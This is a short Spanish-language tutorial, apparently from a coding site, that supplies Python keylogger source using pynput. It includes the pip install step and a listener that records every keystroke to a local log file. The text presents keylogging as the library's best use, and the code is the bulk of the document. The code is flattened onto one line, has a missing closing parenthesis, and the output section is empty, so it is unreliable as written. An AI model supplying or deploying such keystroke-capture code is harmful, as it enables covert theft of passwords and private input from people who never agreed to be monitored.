Requisitos previos: lenguaje de programación Python
El paquete pynput.keyboard contiene clases para controlar y monitorear el teclado. pynput es la biblioteca de Python que se puede usar para capturar entradas de teclado; el mejor uso de esto puede ser hacer registradores de teclas. El código para el keylogger se proporciona a continuación.
Módulos necesarios
pynput: para instalar pynput, escriba el siguiente comando en la terminal.
pip install pynput
A continuación se muestra la implementación:
Python3
# keylogger using pynput module import pynput from pynput.keyboard import Key, Listener keys = [] def on_press(key): keys.append(key) write_file(keys) try: print('alphanumeric key {0} pressed'.format(key.char)) except AttributeError: print('special key {0} pressed'.format(key)) def write_file(keys): with open('log.txt', 'w') as f: for key in keys: # removing '' k = str(key).replace("'", "") f.write(k # explicitly adding a space after # every keystroke for readability f.write(' ') def on_release(key): print('{0} released'.format(key)) if key == Key.esc: # Stop listener return False with Listener(on_press = on_press, on_release = on_release) as listener: listener.join()
Producción: